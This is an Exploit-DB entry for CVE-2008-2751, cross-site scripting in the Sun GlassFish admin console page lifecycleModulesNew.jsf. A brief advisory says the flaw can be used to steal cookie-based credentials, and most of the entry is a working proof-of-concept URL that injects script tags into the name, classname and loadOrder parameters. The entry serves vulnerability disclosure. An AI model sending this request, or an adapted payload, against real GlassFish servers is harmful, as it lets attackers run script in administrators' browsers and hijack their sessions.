GlassFish Application Server applications/lifecycleModulesNew.jsf - Multiple Parameter XSS

2008-06-16T00:00:00
ID EDB-ID:31927
Type exploitdb
Reporter Eduardo Jorge
Modified 2008-06-16T00:00:00

Description

GlassFish Application Server applications/lifecycleModulesNew.jsf Multiple Parameter XSS. CVE-2008-2751. Remote exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/29751/info
     
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://[HOSTNAME]:4848/applications/lifecycleModulesNew.jsf?propertyForm%3Aprope
rtyContentPage%3ApropertySheet%3ApropertSectionTextField%3AnameProp%3Aname=<scri
pt>alert('xss');</script>&propertyForm%3ApropertyContentPage%3ApropertySheet%3Ap
ropertSectionTextField%3AclassNameProp%3Aclassname=<script>alert('xss2');</scrip
t>&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSectionTextField%
3ApathProp%3AclassPath=&propertyForm%3ApropertyContentPage%3ApropertySheet%3Apro
pertSectionTextField%3AloadOrderProp%3AloadOrder=<script>alert('xss3');</script>
&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSectionTextField%3A
descProp%3Adesc=&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSec
tionTextField%3AstatusProp%3Asun_checkbox8=true&propertyForm%3ApropertyContentPa
ge%3AbottomButtons%3AsaveButton2=++OK++&propertyForm%3AhelpKey=lifecyclemodules.
html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_id117%3Aj_i
d125&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyConte
ntPage%3AbottomButtons%3AsaveButton2